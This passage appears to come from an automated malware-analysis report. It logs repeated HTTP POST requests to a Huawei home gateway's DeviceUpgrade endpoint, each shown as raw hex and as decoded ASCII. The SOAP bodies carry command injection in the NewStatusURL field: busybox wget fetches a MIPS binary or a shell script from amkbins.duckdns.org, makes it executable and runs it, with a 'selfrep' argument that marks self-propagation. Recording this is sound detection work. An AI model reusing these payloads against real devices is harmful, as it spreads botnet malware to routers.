HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
